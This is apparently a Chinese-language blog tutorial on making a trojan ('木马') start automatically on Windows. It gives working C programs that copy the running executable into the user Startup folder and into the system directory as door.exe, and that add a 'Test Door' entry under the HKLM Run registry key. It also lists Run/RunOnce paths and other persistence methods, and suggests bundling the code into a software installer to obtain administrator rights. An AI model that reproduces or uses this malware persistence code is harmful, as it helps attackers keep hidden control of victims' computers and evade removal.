// @toc 启动文件夹
// @author SteveCurcy
// @dev 一个木马能否开机自动运行是保证木马有价值的前提
// @dev 本代码将使用启动文件夹的方式实现木马的开机自启动
// @dev 启动文件夹对于不同的系统位置不同,这里先讨论win10的
// @dev 启动文件夹分为用户的和系统的,用户的只针对于某一个用户,
// @dev 而系统文件夹针对整个系统,但是想要写入也需要管理员权限
// @dev 下面分别给出用户和系统启动文件夹的位置:
// @dev C:\Users\UserName\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
// @dev C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
// @dev 在win10下,为了安全,AppData和ProgramData都是隐藏文件夹
#include <stdio.h>
#include <windows.h>

int main() {
    char ExeFile[MAX_PATH];
    char SystemPath[MAX_PATH];
    char TempPath[MAX_PATH] = "\\Users\\";
    char UserName[MAX_PATH];
    int ret;
    unsigned long _size = MAX_PATH;

    // 得到当前文件名
    GetModuleFileName(NULL,     // 获取EXE本身路径
                      ExeFile,  // 路径存储的缓冲区
                      MAX_PATH);// 缓冲区大小
    // 得到系统目录
    GetSystemDirectory(SystemPath,    // 系统目录存储的缓冲区
                       MAX_PATH);   // 缓冲区的大小

    GetUserName(UserName, &_size);  // 获取当前用户,存储到 UserName 中
    strcat(TempPath, UserName);
    strcat(TempPath, "\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");


    SystemPath[2] = '\0';
    strcat(SystemPath, "\\Users\\74653\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\door.exe");
    // printf("%s\n%s\n", SystemPath, ExeFile);

    ret = CopyFile(ExeFile, TempPath, FALSE);   // 把 EXEFile 文件文件复制到 TempPath, FALSE 指明有同名则强制覆盖
    if (ret == 0) {
        printf("Failed!");
    }

    return 0;
}

当然这只是自启动的代码,一个完整的木马还需要与前面的模板代码结合起来。这种方式实现自启动能否成功,取决于你电脑上杀毒软件的能力,有的强一点的会直接把我们的木马程序删掉,有的则只是提示,还有的甚至不会过多干涉我们这种操作,反而会阻止启动项的删除。

注册表启动

  利用注册表指明开机时要运行的程序,利用的最多的是注册表中的 RUN 注册键。
最常用的四条路径如下:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce

  现在有了目标,要做的就是需要将我们的木马程序添加到上述路径中。所需的函数如下:

LONG RegOpenKey(		// 不成功返回0;成功返回 ERROR_SUCCESS
	HKEY hKey, 			// 要打开的主键名,可以是如 HKEY_USERS 的根键
	LPCTSTR IpSubKey,	// 指名要打开的子键的路径
	DWORD ulOptions,   	// 保留字段,置0
  	REGSAM samDesired,	// 一个访问掩码,它指定对密钥的期望访问权限
	PHKEY phkResult		// 指向打开键的句柄
);
LONG RegSetValueEx(
	HKEY hKey,				// 上一个函数已经打开的句柄
	LPCTSTR IpValueName,	// 设置的值得名称
	DWORD Reserved,			// 保留字,不使用
	DWORD dwType,			// 添加变量的类型,二进制REG_BINARY,32位数字REG_DWORD,字符串REG_SZ
	const BYTE* IpData,		// 添加变量数据的地址
	DWORD cbData			// 添加变量的长度
);

现在我们可以打开并创建一个注册表的键值对了,接下来就可以编码了:

// @toc 注册表启动键值
// @author SteveCurcy
// @dev 利用注册表指定开机时要运行的程序,下面给出四个路径
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
// @dev HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
// @dev 后两个启动之后只运行一次

#include <stdio.h>
#include <windows.h>

int main() {

    char ExeFile[MAX_PATH], SystemPath[MAX_PATH];
    int ret;

    // 得到当前文件名
    GetModuleFileName(NULL, ExeFile, MAX_PATH);
    // 获得系统目录
    GetSystemDirectory(SystemPath, MAX_PATH);
    strcat(SystemPath, "\\door.exe");
    // 拷贝到系统文件夹名为 door.exe
    ret = CopyFile(ExeFile, SystemPath, FALSE); // 有同名文件强制覆盖

    if ( ret == 0 ) {
        printf("Fail!");
        return 1;
    }

    HKEY key;
    // 打开注册表 RUN
    if ( RegOpenKeyEx(HKEY_LOCAL_MACHINE,
                      "\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
                      0, KEY_ALL_ACCESS, &key) == ERROR_SUCCESS ) {
        // 在 RUN 下建立一个 Test Door 键,值为木马的路径
        RegSetValueEx(key, "Test Door", 0, REG_SZ, (BYTE*)SystemPath, strlen(SystemPath));
        RegCloseKey(key);
        printf("Success");
    }

    return 0;
}

  这种注册标的方式,需要有管理员权限,所以我运行的时候一直是失败的,这一点暂时没有学到如何解决,个人想到的是,把该段代码与某软件绑定到一起,使软件在安装的时候调用这一部分代码实现注册表的修改。这样在软件安装的时候都是需要管理员权限的,这样就可以解决需要管理员权限的问题了。

其他

  除了上面说的两种方式以外,实现木马的自启动还有以下方式:

  • 应用程序关联
  • 启动文件(WINSTART.bat)
  • 注册服务
    读者可以自行查阅其他资料,这里不做过多的介绍。

最后拿"功夫熊猫2"中的一句话与大家共勉,希望一起把握当下,做好自己,别留遗憾~
  Your story may not have a happy beginning, but that doesn’t make who you are. It’s the rest of your story, who you choose to be.

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值